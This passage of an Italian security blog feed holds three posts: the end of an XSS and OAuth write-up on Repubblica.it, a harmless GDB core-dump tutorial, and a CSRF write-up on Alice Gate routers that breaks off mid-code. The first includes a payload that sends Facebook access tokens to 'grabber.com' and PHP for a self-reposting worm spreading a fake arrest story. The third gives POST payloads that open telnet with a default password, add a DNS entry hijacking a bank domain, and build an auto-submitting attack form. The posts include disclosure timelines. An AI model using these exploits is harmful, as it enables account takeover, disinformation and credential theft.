  &lt;li&gt;Concateniamo la stringa finale con un &lt;code class=&quot;highlighter-rouge&quot;&gt;join&lt;/code&gt; evitando di utilizzare i &lt;code class=&quot;highlighter-rouge&quot;&gt;+&lt;/code&gt; che andrebbero persi nell’URL encoding delle diverse richieste&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Il javascript da iniettare nella pagina vulnerabile diventa quindi&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-{javascript}&quot;&gt;javascript:document.write([&quot;&amp;lt;img &quot;,&quot;src='&quot;,&quot;http://grabber.com/token.php?&quot;,window.location.hash.replace(String.fromCharCode(35),''),&quot;'/&amp;gt;&quot;].join(''));
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&quot;facebook-worm&quot;&gt;FACEBOOK WORM&lt;/h2&gt;

&lt;p&gt;Il grabber esterno, a seconda dei permessi dati alla applicazione dagli utenti, può collezionare dati privati, i messaggi e ripostarsi nelle bacheche degli utenti che visitano il link malevolo. &lt;strong&gt;Perchè il worm possa ripostarsi, è necessario che in precedenza l’utente abbia approvato il permesso di scrivere in bacheca richiesto da repubblica.it&lt;/strong&gt;. In questa dimostrazione limitiamoci a repostare il link allo scopo di creare un &lt;em&gt;facebook worm&lt;/em&gt;. Bastano una finta notizia un pò &lt;em&gt;catchy&lt;/em&gt; e poche linee di codice PHP per creare un post che si riposta automaticamente nella bacheca di chiunque lo clicchi.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-{php}&quot;&gt;&amp;lt;?
if (!array_key_exists('access_token', $_GET)) die();
$access_token=$_GET['access_token'];

file_put_contents('fbout.txt', $access_token .' ' , FILE_APPEND);

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, &quot;https://graph.facebook.com/me/feed&quot;);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'name' =&amp;gt; 'Sentenze manipolate, manette per Silvio Berlusconi',
    'caption' =&amp;gt; 'repubblica.it',
    'description' =&amp;gt; 'La Guardia di Finanza di Milano ha eseguito nel pomeriggio un ordine di arresto nei confronti del cavaliere Silvio Berlusconi, reo di avere corrotto ',
    'link' =&amp;gt; 'https://www.facebook.com/dialog/permissions.request?app_id=182234715127717&amp;amp;display=page&amp;amp;next=http://www.repubblica.it/static/includes/common/interstitial.html?href=javascript:document.write([&quot;&amp;lt;img &quot;,&quot;src=\'&quot;,&quot;http://grabber.com/token.php?&quot;,window.location.hash.replace(String.fromCharCode(35),&quot;&quot;),&quot;\'/&amp;gt;&quot;].join(\'\'));&amp;amp;response_type=token&amp;amp;fbconnect=1#sthash.q5jXmpqn.dpuf',
    'picture' =&amp;gt; 'http://www.repubblica.it/images/2013/03/13/094653287-01e6777c-9cdb-46f1-b7c5-694920034ad8.jpg',
    'access_token' =&amp;gt; $access_token
));

echo curl_exec($ch);
curl_close($ch);

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;http://disse.cting.org//assets/img/oauth4.png&quot; alt=&quot;Repost&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Il risultato è di indubbio effetto e in grado di ripostarsi in poco tempo in maniera esponenziale. Un token grabber più elaborato potrebbe facilmente raccogliere tutte le informazioni possibili da ogni profilo bucato, e in caso di applicazioni autorizzate ad accedere alla mailbox utente, addirittura fare un dump di tutti i messaggi privati degli utenti che visitano il link.&lt;/p&gt;

&lt;p&gt;Lato Facebook il baco è difficile da estirpare, le specifiche di OAuth permettono il passaggio del token via GET, ed chi si occupa di sicurezza delle web application sa che la gran parte dei siti contengono vulnerabilità XSS o open redirect. Lato utente rimane sempre la buona abitudine di non cliccare link sospetti, e di provvedere immediatamente alla cancellazione nel caso si noti una inaspettata viralità del post nelle bacheche dei propri contatti.&lt;/p&gt;

&lt;h4 id=&quot;disclosure&quot;&gt;Disclosure:&lt;/h4&gt;
&lt;p&gt;&lt;em&gt;4 Luglio 2013: Segnalata vulnerabilità alla mail helpdesk del sito di Repubblica.it, nessuna risposta.&lt;/em&gt;
&lt;em&gt;11 Luglio 2013: Segnalata vulnerabilità a 3 mail di amministratori, nessuna risposta.&lt;/em&gt;
&lt;em&gt;17 Luglio 2013: Pubblicazione della vulnerabilità.&lt;/em&gt;
&lt;em&gt;19 luglio 2013: Dopo un gentile scambio di mail con i tecnici di Repubblica.it, verifico che il DOM XSS è stato fixato.&lt;/em&gt;&lt;/p&gt;</content><category term="pentesting" /><category term="security" /><category term="oauth" /><category term="xss" /><category term="vulnerability" /><category term="repubblica.it" /><category term="openredirect" /><summary>Facebook utilizza il protocollo OAuth per far comunicare le applicazioni e gli utenti della piattaforma allo scopo di autorizzare le applicazioni ad accedere alle informazioni e funzionalità dei profili degli utenti. Una debolezza del protocollo OAuth, in compresenza di vulnerabilità open redirect o XSS nel dominio web di una applicazione Facebook, permette ad un attaccante esterno di impersonare tale applicazione e di guadagnare i permessi ad essa concessi dagli utenti, come leggere i dati personali, accedere a messaggi privati e pubblicare nelle bacheche.</summary></entry><entry><title>Core dump analysis in cross-compiled enviroinments</title><link href="http://disse.cting.org//2013/01/15/2013-01-15-core-dump-analysis-in-crosscompiled-env" rel="alternate" type="text/html" title="Core dump analysis in cross-compiled enviroinments" /><published>2013-01-15T12:03:00+00:00</published><updated>2013-01-15T12:03:00+00:00</updated><id>http://disse.cting.org//2013/01/15/2013-01-15-core-dump-analysis-in-crosscompiled-env</id><content type="html" xml:base="http://disse.cting.org//2013/01/15/2013-01-15-core-dump-analysis-in-crosscompiled-env">&lt;p&gt;Process crash debug could be improved automatizing core dump analysis, especially on Linux embedded systems where on-the-fly debug is not feasible and the post-mortem analysis of core dumps is the best way to analyse process crashes stack traces.&lt;/p&gt;

&lt;h2 id=&quot;prepare-the-enviroinment&quot;&gt;Prepare the enviroinment&lt;/h2&gt;

&lt;p&gt;Core dumps generated in cross-compiled enviroinment analysis requires binaries and linked libraries, &lt;strong&gt;including debug symbols&lt;/strong&gt;, related to crashed process. First copy binaries and libraries (or the whole filesystem) in &lt;code class=&quot;highlighter-rouge&quot;&gt;release/&lt;/code&gt; folder. Then, install in your host machine the &lt;a href=&quot;http://www.gnu.org/software/gdb/&quot;&gt;GNU debugger&lt;/a&gt; (gdb) for the target architecture: in this example I use &lt;code class=&quot;highlighter-rouge&quot;&gt;arm-none-linux-gnueabi-gdb&lt;/code&gt; for ARM enviroinments. Please refer to your Linux packaging system or to &lt;a href=&quot;http://sourceware.org/gdb/onlinedocs/&quot;&gt;official documentation&lt;/a&gt; to get proper gdb for the architecture.&lt;/p&gt;

&lt;h2 id=&quot;configure-gdb-init&quot;&gt;Configure GDB init&lt;/h2&gt;

&lt;p&gt;Configure GDB to find properly binaries and linked libraries. Create an init file in &lt;code class=&quot;highlighter-rouge&quot;&gt;release/gdb-init.txt&lt;/code&gt;, as described, replacing &lt;code class=&quot;highlighter-rouge&quot;&gt;$sysroot_release&lt;/code&gt; with your &lt;code class=&quot;highlighter-rouge&quot;&gt;release/&lt;/code&gt; absolute path.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Set filesystem root folder&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;sysroot &lt;span class=&quot;nv&quot;&gt;$sysroot_release&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Prepend prepared filesystem path&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;solib-absolute-prefix &lt;span class=&quot;nv&quot;&gt;$sysroot_release&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# If external debug symbols are used, set correct references to them&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;substitute-path /usr/src/debug &lt;span class=&quot;nv&quot;&gt;$sysroot_release&lt;/span&gt;/usr/src/debug
&lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;debug-file-directory &lt;span class=&quot;nv&quot;&gt;$sysroot_release&lt;/span&gt;/usr/lib/debug

&lt;span class=&quot;c&quot;&gt;# Set library path&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;solib-search-path &lt;span class=&quot;nv&quot;&gt;$sysroot_release&lt;/span&gt;/usr/lib/
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;The described GDB configuration is enough to analyse manually the core dump. Run interactive gdb session if you want to analyse manually &lt;code class=&quot;highlighter-rouge&quot;&gt;cores/core.foo&lt;/code&gt; generated by &lt;code class=&quot;highlighter-rouge&quot;&gt;/usr/bin/foo&lt;/code&gt; binary.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$ &lt;/span&gt;arm-none-linux-gnueabi-gdb &lt;span class=&quot;s2&quot;&gt;&quot;releases/usr/bin/foo&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;cores/core.foo&quot;&lt;/span&gt; -ix &lt;span class=&quot;s2&quot;&gt;&quot;releases/gdbinit.txt&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Googling around you can find further GDB initialization useful to append to init file, for example some procedures to &lt;a href=&quot;https://gist.github.com/4528704&quot;&gt;pretty print&lt;/a&gt; common standard C++ objects and structures.&lt;/p&gt;

&lt;h2 id=&quot;configure-gdb-rc-file&quot;&gt;Configure GDB rc file&lt;/h2&gt;

&lt;p&gt;To extract debug informations in a complete automatic way, prepare an rc file in &lt;code class=&quot;highlighter-rouge&quot;&gt;release/gdb-rc.txt&lt;/code&gt; with commands to execute:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Show debug symbols availability &lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; Info sharedlibrary&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;
info sharedlibrary

&lt;span class=&quot;c&quot;&gt;# Show running threads&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; Info threads&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;
info threads

&lt;span class=&quot;c&quot;&gt;# Show backtrace summary&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; Backtrace&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;
backtrace

&lt;span class=&quot;c&quot;&gt;# Show full backtrace of all threads&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; Thread apply all backtrace full&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;
thread apply all backtrace full

&lt;span class=&quot;c&quot;&gt;# Show registers values&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; Info registers&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;
info registers

&lt;span class=&quot;c&quot;&gt;# Disassemble last run functions&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; Disas&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;
disas
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;In this way you can extract automatically main informations about crash, for example simply running the following command to save the output in &lt;code class=&quot;highlighter-rouge&quot;&gt;analysis/core.foo.analysis.txt&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$ &lt;/span&gt;arm-none-linux-gnueabi-gdb &lt;span class=&quot;s2&quot;&gt;&quot;releases/usr/bin/foo&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;cores/core.foo&quot;&lt;/span&gt; -ix &lt;span class=&quot;s2&quot;&gt;&quot;releases/gdbinit.txt&quot;&lt;/span&gt; -x &lt;span class=&quot;s2&quot;&gt;&quot;releases/gdbrc.txt&quot;&lt;/span&gt; -batch &amp;gt; &lt;span class=&quot;s2&quot;&gt;&quot;analysis/core.foo.analysis.txt&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Have a good core crunching.&lt;/p&gt;</content><category term="embedded" /><category term="gdb" /><category term="crosscompile" /><category term="arm" /><category term="debug" /><category term="coredump" /><category term="crash" /><summary>Process crash debug could be improved automatizing core dump analysis, especially on Linux embedded systems where on-the-fly debug is not feasible and the post-mortem analysis of core dumps is the best way to analyse process crashes stack traces.</summary></entry><entry><title>Alice Gate AGPF: CSRF reconfiguration vulnerability details</title><link href="http://disse.cting.org//2012/09/02/alice-gate-agpf-csrf-reconf-vulnerability-details" rel="alternate" type="text/html" title="Alice Gate AGPF: CSRF reconfiguration vulnerability details" /><published>2012-09-02T23:56:00+00:00</published><updated>2012-09-02T23:56:00+00:00</updated><id>http://disse.cting.org//2012/09/02/alice-gate-agpf-csrf-reconf-vulnerability-details</id><content type="html" xml:base="http://disse.cting.org//2012/09/02/alice-gate-agpf-csrf-reconf-vulnerability-details">&lt;blockquote&gt;
  &lt;p&gt;Questo post fa parte della serie di articoli sulla vulnerabilità CSRF dei router &lt;a href=&quot;http://disse.cting.org//tags/alice/&quot;&gt;Alice&lt;/a&gt;, leggi l’&lt;a href=&quot;http://disse.cting.org//2012/09/02/alice-gate-agpf-csrf-reconf-vulnerability&quot;&gt;articolo introduttivo&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Aggiornamento 12/2012: La vulnerabilità CSRF è stata mitigata abilitando la richiesta di password per accedere al pannello di amministrazione. La tecnica per sbloccare le funzionalità nascoste del proprio router rimane comunque valida.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I router Alice Gate VoIP 2 Plus Wifi (AGPF) sono distribuiti dal 2008 mentre i router Adsl2+ Wi-Fi N (AGPWI) sono l’ultima serie distribuita dal 2012, e entrambi contano una vasta letteratura su metodi di sblocco via &lt;a href=&quot;http://www.ilpuntotecnicoeadsl.com/forum/index.php?topic=10572.0&quot;&gt;ponticelli&lt;/a&gt; hardware, &lt;a href=&quot;https://docs.google.com/viewer?a=v&amp;amp;q=cache:qazfuZuhblUJ:beghiero.myftp.org/mirror/ramponis/AGPF/AGPF%2520as%2520Hsdpa%2520gateway.pdf+&amp;amp;hl=it&amp;amp;gl=it&amp;amp;pid=bl&amp;amp;srcid=ADGEESi-YKQXIbbwVxKNHIfw4_JW4wVwQ5iW8ws6RhdiMWbTUpdMpr_D4Dpf6JNGCE8PRGsJAG4gSBc2hoLMRoqT2TQat_jNFf5F8Z4v9Q3SQN1AkUGlSQrjEEjnUYdW0LuGSb7p_GKL&amp;amp;sig=AHIEtbTg_MD3ETdnEPfJ93XMN3wB1ML_Nw&amp;amp;pli=1&quot;&gt;jtag&lt;/a&gt;, trigger di backdoor via pacchetti su &lt;a href=&quot;http://brainstormwhitehat.wordpress.com/2012/01/27/sblocco-router-telecom-adsl2-wi-fi-n-agpwi-senza-cacciaviti-e-ponticelli/&quot;&gt;rete&lt;/a&gt; &lt;a href=&quot;http://saxdax.altervista.org/wordpress/modem/sbloccare-i-modem-alice-senza-cacciaviti-seriali-o-ponticelli&quot;&gt;locale&lt;/a&gt; allo scopo di sostituire il &lt;a href=&quot;http://wiki.ninux.org/Hackalicegate&quot;&gt;firmware&lt;/a&gt;, sbloccare menu avanzati, personalizzare il &lt;a href=&quot;http://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,10807.0.html&quot;&gt;voip&lt;/a&gt; e gli aspetti più disparati.&lt;/p&gt;

&lt;p&gt;Dei tanti metodi trovati per lo sblocco dei router, quello qui esposto è per ora il più immediato, poichè eseguibile con una semplice richiesta POST triggerata da una pagina HTML, per di più sfruttabile via attacco &lt;a href=&quot;#CSRF&quot;&gt;CSRF&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;sblocco&quot;&gt;Sblocco&lt;/h1&gt;

&lt;blockquote class=&quot;blockwarn&quot;&gt;&lt;p&gt;&lt;strong&gt;Attenzione: le modifiche alla configurazione interna del router Alice Gate VoIP 2 Plus Wifi potrebbero essere vietate dal contratto stipulato con il provider, e apportare danni al router rendendolo inutilizzabile. Prima di effettuare qualsiasi modifica assicurarsi di saper ripristinare le impostazioni iniziali. Esegui i test dimostrativi a tuo rischio e pericolo.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Lo studio sulla sicurezza dell'apparato è da intendersi a scopo didattico. In caso possediate il router in oggetto apprestatevi subito a &lt;a href=&quot;http://disse.cting.org//2012/09/02/alice-gate-agpf-csrf-reconf-vulnerability-details/#mitigazione&quot;&gt;mitigare&lt;/a&gt; la vulnerabilità per proteggere la propria connessione casalinga in attesa di un aggiornamento da parte del distributore. L'autore non è responsabile di danni agli apparati o violazioni a sistemi informatici derivanti dall'uso delle tecniche esposte. Ricordo che l'accesso abusivo ad un sistema informatico e perseguibile secondo l'articolo 615-ter del codice penale.
&lt;/p&gt;&lt;/blockquote&gt;

&lt;p&gt;I router AGPF e AGPWI prodotti dalla Pirelli Broadband Solution/ADB BROADBAND e distribuiti dalla Telecom sotto i rispettivi nomi di Gate VoIP 2 Plus Wifi e Adsl2+ Wi-Fi N, monta un kernel Linux con middleware &lt;a href=&quot;http://www.jungo.com/openrg/news/pr071009b.html&quot;&gt;openrg&lt;/a&gt; per la gestione di gateway, servizi, interfacce utente, etc. Il &lt;em&gt;cuore&lt;/em&gt; del sistema è descritto dal file di configurazione &lt;code class=&quot;highlighter-rouge&quot;&gt;discus.conf&lt;/code&gt;, derivato dal &lt;code class=&quot;highlighter-rouge&quot;&gt;openrg.conf&lt;/code&gt; dei sistemi openrg vanilla, descritto da una sintassi particolare come si notare da alcuni &lt;a href=&quot;http://beghiero.myftp.org/modifiche/Discus2.conf&quot;&gt;file&lt;/a&gt; pubblicati in rete.&lt;/p&gt;

&lt;h2 id=&quot;discusconf&quot;&gt;Discus.conf&lt;/h2&gt;

&lt;p&gt;Il file &lt;code class=&quot;highlighter-rouge&quot;&gt;discus.conf&lt;/code&gt; controlla ogni aspetto della configurazione del sistema Linux/opernrg installato sul router, come si evince dalle categorie principali delle opzioni configurabili:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-lisp&quot;&gt;
(openrg
  (dev())
  (admin())
  (system())
  (wbm())
  (syslog())
  (dns())
  (disk())
  (fs())
  (print_server())
  (service())
  (fw())
  (rip())
  (mcast())
  (rmt_upd())
  (voip())
  (enotify())
  (email())
  (radius())
  (cwmp())
  (manufacturer())
  (cert())
  (ssh())
  (upnp())
  (pppoe_relay())
  (qos())
  (network())
  (internal())
  (modem())
  (themanager())
)

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Si accede alle singole voci specificando il path: ci si riferisce per esempio alla terza entry DNS presente in &lt;code class=&quot;highlighter-rouge&quot;&gt;(dns(entry(3(...)))&lt;/code&gt; con il path &lt;code class=&quot;highlighter-rouge&quot;&gt;dns/entry/3&lt;/code&gt;. Ogni modifica effettuata alla configurazione scatena una procedura di allineamento del sistema alla configurazione attuale. Ad esempio la modifica del path &lt;code class=&quot;highlighter-rouge&quot;&gt;admin/telnets/ports&lt;/code&gt; per aprire una nuova porta triggera l’avvio del telnetd, la modifica delle regole del firewall, etc.&lt;/p&gt;

&lt;p&gt;Sapendo cosa cercare in giro per &lt;em&gt;l’internet&lt;/em&gt; si trovano i manuali sulla configurazione del &lt;code class=&quot;highlighter-rouge&quot;&gt;discus.conf&lt;/code&gt; e l’intero sistema: un utilissimo &lt;a href=&quot;ftp://ftp.on4hu.be/Sagem-B-box2/openrg_configuration_guide.pdf&quot;&gt;manuale&lt;/a&gt; che descrive &lt;strong&gt;ogni campo&lt;/strong&gt; del file di configurazione, una &lt;a href=&quot;http://theindexof.net/download/2notep/openrg_programmer_guide.pdf&quot;&gt;guida&lt;/a&gt; alla programmazione e all’utilizzo.&lt;/p&gt;

&lt;h2 id=&quot;il-parametro-http-stackset&quot;&gt;Il parametro HTTP stack_set&lt;/h2&gt;

&lt;p&gt;L’interfaccia web accessibile all’indirizzo &lt;a href=&quot;http://192.168.1.1&quot;&gt;http://192.168.1.1&lt;/a&gt;, espone alcune pagine per configurare e visionare lo stato del router. Gli aspetti configurabili via interfaccia web sono limitati a poche voci quali port forwarding, QoS, dns dinamico e poco altro: una piccola parte rispetto alla configurazione reale descritta dal file &lt;code class=&quot;highlighter-rouge&quot;&gt;discus.conf&lt;/code&gt; vista sopra.&lt;/p&gt;

&lt;p&gt;Le pagine che modificano campi multipli, ad esempio il port forwarding, eseguono una richiesta HTTP POST al file CGI &lt;a href=&quot;http://192.168.1.1/admin.cgi&quot;&gt;/admin.cgi&lt;/a&gt; particolare come in questo esempio:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
/admin.cgi?active_page=9130&lt;span class=&quot;err&quot;&gt;&amp;amp;&lt;/span&gt;page_title=Alice - Info&lt;span class=&quot;err&quot;&gt;&amp;amp;&lt;/span&gt;mimic_button_field=submit_button_avanti: avanti..&lt;span class=&quot;err&quot;&gt;&amp;amp;&lt;/span&gt;button_value=attiva&lt;span class=&quot;err&quot;&gt;&amp;amp;&lt;/span&gt;strip_page_top=0&lt;span class=&quot;err&quot;&gt;&amp;amp;&lt;/span&gt;stack_set=(stack_set
  (0
    (path(fw/rule/loc_srv))
    (index(-1))
    (set
      (-1
        (services
          (0
            (name(de))
            (trigger
              (0
                (protocol(6))
                (dst
                  (start(90))
                  (end(90))
                )
              )
              (1
                (protocol(17))
                (dst
                  (start(90))
                  (end(90))
                )
              )
            )
          )
        )
        (enabled(1))
      )
    )
  )
)
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Il parametro POST &lt;code class=&quot;highlighter-rouge&quot;&gt;stack_set&lt;/code&gt; contiene intere parti di configurazione che vengono scritte sul file &lt;code class=&quot;highlighter-rouge&quot;&gt;discus.conf&lt;/code&gt; interno. Interpretando la sintassi si può tentare la modifica di un path diverso da quello dalla richiesta originale. Il parametro &lt;code class=&quot;highlighter-rouge&quot;&gt;active_page&lt;/code&gt; cambia da versione a versione di AGPF e AGPWI, ma il formato della richiesta rimane identica. Per prova, cambiamo il path &lt;code class=&quot;highlighter-rouge&quot;&gt;admin/telnets/disabled&lt;/code&gt; da &lt;code class=&quot;highlighter-rouge&quot;&gt;1&lt;/code&gt; a &lt;code class=&quot;highlighter-rouge&quot;&gt;0&lt;/code&gt; in modo da attivare il servizio telnet:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
/admin.cgi?active_page=9130&lt;span class=&quot;err&quot;&gt;&amp;amp;&lt;/span&gt;page_title=Alice - Info&lt;span class=&quot;err&quot;&gt;&amp;amp;&lt;/span&gt;mimic_button_field=submit_button_avanti: avanti..&lt;span class=&quot;err&quot;&gt;&amp;amp;&lt;/span&gt;button_value=attiva&lt;span class=&quot;err&quot;&gt;&amp;amp;&lt;/span&gt;strip_page_top=0&lt;span class=&quot;err&quot;&gt;&amp;amp;&lt;/span&gt;stack_set=(set
  (0
    (path(admin/telnets/disabled))
    	(set(disabled(0)))
  )
)
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;E la porta telnet è aperta. Colleghiamoci alla porta 23 con il comando &lt;code class=&quot;highlighter-rouge&quot;&gt;telnet 192.168.1.1&lt;/code&gt; utilizzando come username &lt;em&gt;admin&lt;/em&gt; e come password &lt;em&gt;riattizzati&lt;/em&gt;. Con il comando &lt;code class=&quot;highlighter-rouge&quot;&gt;help&lt;/code&gt; si vedono i comandi disponibili, e con &lt;code class=&quot;highlighter-rouge&quot;&gt;system shell&lt;/code&gt; si spawna una shell busybox nel Linux installato. Suggerisco di aprire le interfacce di amministrazione principali quali telnet e menù avanzato di amministrazione per poi gestire comodatemente le altre configurazioni senza dover fare POST request ogni volta.&lt;/p&gt;

&lt;h1 id=&quot;CSRF&quot;&gt; CSRF &lt;/h1&gt;

&lt;p&gt;La tecnica di riconfigurazione descritta sopra via semplice richiesta POST si presta perfettamente ad un attacco &lt;a href=&quot;http://it.wikipedia.org/wiki/Cross-site_request_forgery&quot;&gt;CSRF&lt;/a&gt; con cui forzare il browser di un utente vittima a effettuare una richiesta volta a prendere il controllo del suo router. Le condizioni necessarie a un attacco sono abilitate di default:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Nessuna autenticazione è richiesta per accedere all’interfaccia web&lt;/li&gt;
  &lt;li&gt;Nessun token anti CSRF è utilizzato&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;E’ quindi sufficiante forgiare una pagina web e farci accedere il malcapitato per effettuare un qualsiasi attacco come quelli descritti nell’&lt;a href=&quot;http://disse.cting.org//2012/09/02/alice-gate-agpf-csrf-reconf-vulnerability&quot;&gt;articolo&lt;/a&gt; introduttivo. Intercettare le connessioni sottraendo le credenziali di mail, siti social, home banking etc. è uno degli attacchi più semplici da effettuare: poichè gli host collegati alla rete interna del router utilizzano come DNS server il router stesso, è sufficiente aggiungere una entry per deviare le connessioni verso un sito clone, o un reverse proxy, con cui raccogliere le credenziali degli utenti vulnerabili.&lt;/p&gt;

&lt;p&gt;Vediamo come preparare una pagina HTML, che quando visualizzata da un utente vulnerabile configura il router in modo che rediriga tutte le connessioni successive a &lt;em&gt;www.mybank.com&lt;/em&gt; verso &lt;em&gt;disse.cting.org&lt;/em&gt;, questo blog.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(stack_set
  (0
    (path(dns/entry))
    (index(-1))
    (set
      (-1
        (ip(109.168.126.241))
        (hostname(www.mybank.com))
      )
    )
  )
)
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Una volta assicurati che la richiesta POST è corretta (attenzione, richieste sbagliate potrebbero corrompere il file di configurazione e rendere il modem inutilizzabile) prepariamo il form per l’autoesecuzione del CSRF:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;FORM&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;action=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://192.168.1.1/admin.cgi&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;post&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;INPUT&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;HIDDEN&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;active_page&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;9130&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;INPUT&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;HIDDEN&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;page_title&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Alice - Info&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;INPUT&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;HIDDEN&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;mimic_button_field&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;submit_button_avanti: avanti..&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
